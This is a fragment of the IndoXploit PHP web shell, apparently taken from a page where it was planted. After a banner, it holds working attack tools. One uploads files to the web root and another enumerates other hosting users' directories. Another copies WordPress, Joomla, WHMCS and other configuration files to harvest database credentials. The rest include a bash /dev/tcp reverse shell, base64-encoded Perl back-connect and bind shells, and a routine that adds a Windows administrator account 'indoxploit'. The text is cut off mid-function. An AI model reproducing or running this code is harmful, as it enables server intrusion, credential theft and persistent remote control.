Test

IndoXploit





___________________________
< root@indoxploit:~# w00t??? >
---------------------------
, ,
/( )`
___ / |
/- _ `-/ '
(// /
/ / | `
O O ) / |
`-^--'`< '
(_.) _ ) /
`.___/` /
`-----' /
<----|====O)))==) ) /====>
<----' `--' `.__,'
| |
/
______( (_ / ______
,' ,-----' |
`--{__________) /










IndoXploit





");
print "";
}
}
}
elseif($toolsname === "upload") {
if($_POST['upload']) {
if($_POST['uploadtype'] === '1') {
if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
$act = color(1, 2, "Uploaded!")." at ".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."";
}
else {
$act = color(1, 1, "Failed to upload file!");
}
}
elseif($_POST['uploadtype'] === '2') {
$root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
$web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
if(@copy($_FILES['file']['tmp_name'], $root)) {
$act = color(1, 2, "Uploaded!")." at $root -> $web";
}
else {
$act = color(1, 1, "Failed to upload file!");
}
}
else {
$act = color(1, 1, "Failed to upload file!");
}
}
}
print "Upload File: $act

current_dir [ ".writeable(path(), "Writeable")." ]
document_root [ ".writeable($_SERVER['DOCUMENT_ROOT'], "Writeable")." ]



";
}
elseif($toolsname === "jumping") {
$i = 0;
foreach(getuser() as $user) {
$path = "/home/$user/public_html";
if(is_readable($path)) {
$status = color(1, 2, "[R]");
if(is_writable($path)) {
$status = color(1, 2, "[RW]");
}
$i++;
print "$status ".color(1, 4, $path)."";
if(!function_exists('posix_getpwuid')) print "
";
if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."
";
foreach(getdomainname() as $domain) {
$userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
$userdomain = $userdomain->name;
if($userdomain === $user) {
print " => ".color(1, 2, $domain)."
";
break;
}
}
}
}
print ($i === 0) ? "" : "

".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."

";
}
elseif($toolsname === "idxconfig") {
if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_config'."));
if(!is_dir(path()."/idx_config/")) {
@mkdir('idx_config', 0755);
$htaccess = "Options allnDirectoryIndex indoxploit.htmnSatisfy Any";
save("idx_config/.htaccess","w", $htaccess);

foreach(getuser() as $user) {
$user_docroot = "/home/$user/public_html/";
if(is_readable($user_docroot)) {
$getconfig = array(
"/home/$user/.accesshash" => "WHM-accesshash",
"$user_docroot/config/koneksi.php" => "Lokomedia",
"$user_docroot/forum/config.php" => "phpBB",
"$user_docroot/sites/default/settings.php" => "Drupal",
"$user_docroot/config/settings.inc.php" => "PrestaShop",
"$user_docroot/app/etc/local.xml" => "Magento",
"$user_docroot/admin/config.php" => "OpenCart",
"$user_docroot/application/config/database.php" => "Ellislab",
"$user_docroot/vb/includes/config.php" => "Vbulletin",
"$user_docroot/includes/config.php" => "Vbulletin",
"$user_docroot/forum/includes/config.php" => "Vbulletin",
"$user_docroot/forums/includes/config.php" => "Vbulletin",
"$user_docroot/cc/includes/config.php" => "Vbulletin",
"$user_docroot/inc/config.php" => "MyBB",
"$user_docroot/includes/configure.php" => "OsCommerce",
"$user_docroot/shop/includes/configure.php" => "OsCommerce",
"$user_docroot/os/includes/configure.php" => "OsCommerce",
"$user_docroot/oscom/includes/configure.php" => "OsCommerce",
"$user_docroot/products/includes/configure.php" => "OsCommerce",
"$user_docroot/cart/includes/configure.php" => "OsCommerce",
"$user_docroot/inc/conf_global.php" => "IPB",
"$user_docroot/wp-config.php" => "Wordpress",
"$user_docroot/wp/test/wp-config.php" => "Wordpress",
"$user_docroot/blog/wp-config.php" => "Wordpress",
"$user_docroot/beta/wp-config.php" => "Wordpress",
"$user_docroot/portal/wp-config.php" => "Wordpress",
"$user_docroot/site/wp-config.php" => "Wordpress",
"$user_docroot/wp/wp-config.php" => "Wordpress",
"$user_docroot/WP/wp-config.php" => "Wordpress",
"$user_docroot/news/wp-config.php" => "Wordpress",
"$user_docroot/wordpress/wp-config.php" => "Wordpress",
"$user_docroot/test/wp-config.php" => "Wordpress",
"$user_docroot/demo/wp-config.php" => "Wordpress",
"$user_docroot/home/wp-config.php" => "Wordpress",
"$user_docroot/v1/wp-config.php" => "Wordpress",
"$user_docroot/v2/wp-config.php" => "Wordpress",
"$user_docroot/press/wp-config.php" => "Wordpress",
"$user_docroot/new/wp-config.php" => "Wordpress",
"$user_docroot/blogs/wp-config.php" => "Wordpress",
"$user_docroot/configuration.php" => "Joomla",
"$user_docroot/blog/configuration.php" => "Joomla",
"$user_docroot/submitticket.php" => "^WHMCS",
"$user_docroot/cms/configuration.php" => "Joomla",
"$user_docroot/beta/configuration.php" => "Joomla",
"$user_docroot/portal/configuration.php" => "Joomla",
"$user_docroot/site/configuration.php" => "Joomla",
"$user_docroot/main/configuration.php" => "Joomla",
"$user_docroot/home/configuration.php" => "Joomla",
"$user_docroot/demo/configuration.php" => "Joomla",
"$user_docroot/test/configuration.php" => "Joomla",
"$user_docroot/v1/configuration.php" => "Joomla",
"$user_docroot/v2/configuration.php" => "Joomla",
"$user_docroot/joomla/configuration.php" => "Joomla",
"$user_docroot/new/configuration.php" => "Joomla",
"$user_docroot/WHMCS/submitticket.php" => "WHMCS",
"$user_docroot/whmcs1/submitticket.php" => "WHMCS",
"$user_docroot/Whmcs/submitticket.php" => "WHMCS",
"$user_docroot/whmcs/submitticket.php" => "WHMCS",
"$user_docroot/whmcs/submitticket.php" => "WHMCS",
"$user_docroot/WHMC/submitticket.php" => "WHMCS",
"$user_docroot/Whmc/submitticket.php" => "WHMCS",
"$user_docroot/whmc/submitticket.php" => "WHMCS",
"$user_docroot/WHM/submitticket.php" => "WHMCS",
"$user_docroot/Whm/submitticket.php" => "WHMCS",
"$user_docroot/whm/submitticket.php" => "WHMCS",
"$user_docroot/HOST/submitticket.php" => "WHMCS",
"$user_docroot/Host/submitticket.php" => "WHMCS",
"$user_docroot/host/submitticket.php" => "WHMCS",
"$user_docroot/SUPPORTES/submitticket.php" => "WHMCS",
"$user_docroot/Supportes/submitticket.php" => "WHMCS",
"$user_docroot/supportes/submitticket.php" => "WHMCS",
"$user_docroot/domains/submitticket.php" => "WHMCS",
"$user_docroot/domain/submitticket.php" => "WHMCS",
"$user_docroot/Hosting/submitticket.php" => "WHMCS",
"$user_docroot/HOSTING/submitticket.php" => "WHMCS",
"$user_docroot/hosting/submitticket.php" => "WHMCS",
"$user_docroot/CART/submitticket.php" => "WHMCS",
"$user_docroot/Cart/submitticket.php" => "WHMCS",
"$user_docroot/cart/submitticket.php" => "WHMCS",
"$user_docroot/ORDER/submitticket.php" => "WHMCS",
"$user_docroot/Order/submitticket.php" => "WHMCS",
"$user_docroot/order/submitticket.php" => "WHMCS",
"$user_docroot/CLIENT/submitticket.php" => "WHMCS",
"$user_docroot/Client/submitticket.php" => "WHMCS",
"$user_docroot/client/submitticket.php" => "WHMCS",
"$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS",
"$user_docroot/Clientarea/submitticket.php" => "WHMCS",
"$user_docroot/clientarea/submitticket.php" => "WHMCS",
"$user_docroot/SUPPORT/submitticket.php" => "WHMCS",
"$user_docroot/Support/submitticket.php" => "WHMCS",
"$user_docroot/support/submitticket.php" => "WHMCS",
"$user_docroot/BILLING/submitticket.php" => "WHMCS",
"$user_docroot/Billing/submitticket.php" => "WHMCS",
"$user_docroot/billing/submitticket.php" => "WHMCS",
"$user_docroot/BUY/submitticket.php" => "WHMCS",
"$user_docroot/Buy/submitticket.php" => "WHMCS",
"$user_docroot/buy/submitticket.php" => "WHMCS",
"$user_docroot/MANAGE/submitticket.php" => "WHMCS",
"$user_docroot/Manage/submitticket.php" => "WHMCS",
"$user_docroot/manage/submitticket.php" => "WHMCS",
"$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS",
"$user_docroot/ClientSupport/submitticket.php" => "WHMCS",
"$user_docroot/Clientsupport/submitticket.php" => "WHMCS",
"$user_docroot/clientsupport/submitticket.php" => "WHMCS",
"$user_docroot/CHECKOUT/submitticket.php" => "WHMCS",
"$user_docroot/Checkout/submitticket.php" => "WHMCS",
"$user_docroot/checkout/submitticket.php" => "WHMCS",
"$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
"$user_docroot/Billings/submitticket.php" => "WHMCS",
"$user_docroot/billings/submitticket.php" => "WHMCS",
"$user_docroot/BASKET/submitticket.php" => "WHMCS",
"$user_docroot/Basket/submitticket.php" => "WHMCS",
"$user_docroot/basket/submitticket.php" => "WHMCS",
"$user_docroot/SECURE/submitticket.php" => "WHMCS",
"$user_docroot/Secure/submitticket.php" => "WHMCS",
"$user_docroot/secure/submitticket.php" => "WHMCS",
"$user_docroot/SALES/submitticket.php" => "WHMCS",
"$user_docroot/Sales/submitticket.php" => "WHMCS",
"$user_docroot/sales/submitticket.php" => "WHMCS",
"$user_docroot/BILL/submitticket.php" => "WHMCS",
"$user_docroot/Bill/submitticket.php" => "WHMCS",
"$user_docroot/bill/submitticket.php" => "WHMCS",
"$user_docroot/PURCHASE/submitticket.php" => "WHMCS",
"$user_docroot/Purchase/submitticket.php" => "WHMCS",
"$user_docroot/purchase/submitticket.php" => "WHMCS",
"$user_docroot/ACCOUNT/submitticket.php" => "WHMCS",
"$user_docroot/Account/submitticket.php" => "WHMCS",
"$user_docroot/account/submitticket.php" => "WHMCS",
"$user_docroot/USER/submitticket.php" => "WHMCS",
"$user_docroot/User/submitticket.php" => "WHMCS",
"$user_docroot/user/submitticket.php" => "WHMCS",
"$user_docroot/CLIENTS/submitticket.php" => "WHMCS",
"$user_docroot/Clients/submitticket.php" => "WHMCS",
"$user_docroot/clients/submitticket.php" => "WHMCS",
"$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
"$user_docroot/Billings/submitticket.php" => "WHMCS",
"$user_docroot/billings/submitticket.php" => "WHMCS",
"$user_docroot/MY/submitticket.php" => "WHMCS",
"$user_docroot/My/submitticket.php" => "WHMCS",
"$user_docroot/my/submitticket.php" => "WHMCS",
"$user_docroot/secure/whm/submitticket.php" => "WHMCS",
"$user_docroot/secure/whmcs/submitticket.php" => "WHMCS",
"$user_docroot/panel/submitticket.php" => "WHMCS",
"$user_docroot/clientes/submitticket.php" => "WHMCS",
"$user_docroot/cliente/submitticket.php" => "WHMCS",
"$user_docroot/support/order/submitticket.php" => "WHMCS",
"$user_docroot/bb-config.php" => "BoxBilling",
"$user_docroot/boxbilling/bb-config.php" => "BoxBilling",
"$user_docroot/box/bb-config.php" => "BoxBilling",
"$user_docroot/host/bb-config.php" => "BoxBilling",
"$user_docroot/Host/bb-config.php" => "BoxBilling",
"$user_docroot/supportes/bb-config.php" => "BoxBilling",
"$user_docroot/support/bb-config.php" => "BoxBilling",
"$user_docroot/hosting/bb-config.php" => "BoxBilling",
"$user_docroot/cart/bb-config.php" => "BoxBilling",
"$user_docroot/order/bb-config.php" => "BoxBilling",
"$user_docroot/client/bb-config.php" => "BoxBilling",
"$user_docroot/clients/bb-config.php" => "BoxBilling",
"$user_docroot/cliente/bb-config.php" => "BoxBilling",
"$user_docroot/clientes/bb-config.php" => "BoxBilling",
"$user_docroot/billing/bb-config.php" => "BoxBilling",
"$user_docroot/billings/bb-config.php" => "BoxBilling",
"$user_docroot/my/bb-config.php" => "BoxBilling",
"$user_docroot/secure/bb-config.php" => "BoxBilling",
"$user_docroot/support/order/bb-config.php" => "BoxBilling",
"$user_docroot/includes/dist-configure.php" => "Zencart",
"$user_docroot/zencart/includes/dist-configure.php" => "Zencart",
"$user_docroot/products/includes/dist-configure.php" => "Zencart",
"$user_docroot/cart/includes/dist-configure.php" => "Zencart",
"$user_docroot/shop/includes/dist-configure.php" => "Zencart",
"$user_docroot/includes/iso4217.php" => "Hostbills",
"$user_docroot/hostbills/includes/iso4217.php" => "Hostbills",
"$user_docroot/host/includes/iso4217.php" => "Hostbills",
"$user_docroot/Host/includes/iso4217.php" => "Hostbills",
"$user_docroot/supportes/includes/iso4217.php" => "Hostbills",
"$user_docroot/support/includes/iso4217.php" => "Hostbills",
"$user_docroot/hosting/includes/iso4217.php" => "Hostbills",
"$user_docroot/cart/includes/iso4217.php" => "Hostbills",
"$user_docroot/order/includes/iso4217.php" => "Hostbills",
"$user_docroot/client/includes/iso4217.php" => "Hostbills",
"$user_docroot/clients/includes/iso4217.php" => "Hostbills",
"$user_docroot/cliente/includes/iso4217.php" => "Hostbills",
"$user_docroot/clientes/includes/iso4217.php" => "Hostbills",
"$user_docroot/billing/includes/iso4217.php" => "Hostbills",
"$user_docroot/billings/includes/iso4217.php" => "Hostbills",
"$user_docroot/my/includes/iso4217.php" => "Hostbills",
"$user_docroot/secure/includes/iso4217.php" => "Hostbills",
"$user_docroot/support/order/includes/iso4217.php" => "Hostbills"

);
foreach($getconfig as $config => $userconfig) {
$get = file_get_contents($config);
if($get == '') {
}
else {
$fopen = fopen("idx_config/$user-$userconfig.txt", "w");
fputs($fopen, $get);
}
}
}
}
}
print "";
print "";
print "";
}
elseif($toolsname === "network") {
$args = explode(" ", $args);

if($args[0] === "bc") {
if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));
if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));
if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));

if($args[3] === "bash") {
exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1");
}
elseif($args[3] === "perl") {
$bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
save("/tmp/bc.pl", "w", base64_decode($bc['code']));
$bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &");
sleep(1);
print "".$bc['exec']."n".exe("ps aux | grep bc.pl")."";
@unlink("/tmp/bc.pl");
}
}
elseif($args[0] === "bp") {
if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));
if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));

if($args[2] === "perl") {
$bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
save("/tmp/bp.pl", "w", base64_decode($bp['code']));
$bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &");
sleep(1);
print "".$bp['exec']."n".exe("ps aux | grep bp.pl")."";
@unlink("/tmp/bp.pl");
}
}
else {
print color(1, 1, "Unknown '".$args[0]."'");
}
}
elseif($toolsname === "krdp") {
$args = explode(" ", $args);

if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));
if(preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username 'indoxploit' already exists."));

$add_user = exe("net user indoxploit indoxploit /add");
$add_groups1 = exe("net localgroup Administrators indoxploit /add");
$add_groups2 = exe("net localgroup Administrator indoxploit /add");
$add_groups3 = exe("net localgroup Administrateur indoxploit /add");

print "[ RDP ACCOUNT INFO ]

------------------------------

IP: ".color(1, 2, $GLOBALS['SERVERIP'])."

Username: ".color(1, 2, "indoxploit")."

Password: ".color(1, 2, "indoxploit")."

------------------------------


[ STATUS ]

------------------------------

";

if($add_user) {
print "[add user] -> ".color(1, 2, "SUCCESS")."
";
}
else {
print "[add user] -> ".color(1, 1, "FAILED")."
";
}

if($add_groups1) {
print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."
";
}
elseif($add_groups2) {
print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."
";
}
elseif($add_groups3) {
print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."
";
}
else {
print "[add localgroup] -> ".color(1, 1, "FAILED")."
";
}

print "------------------------------
";
}
}

function files_and_folder() {
if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
print '

Name
Type
Size
Last Modified
Owner/Group
Permission
Action
';

if(function_exists('opendir')) {
if($opendir = opendir(path())) {
while(($readdir = readdir($opendir)) !== false) {
$dir[] = $readdir;
}
closedir($opendir);
}
sort($dir);
} else {
$dir = scandir(path());
}

foreach($dir as $folder) {
$dirinfo['path'] = path().DIRECTORY_SEPARA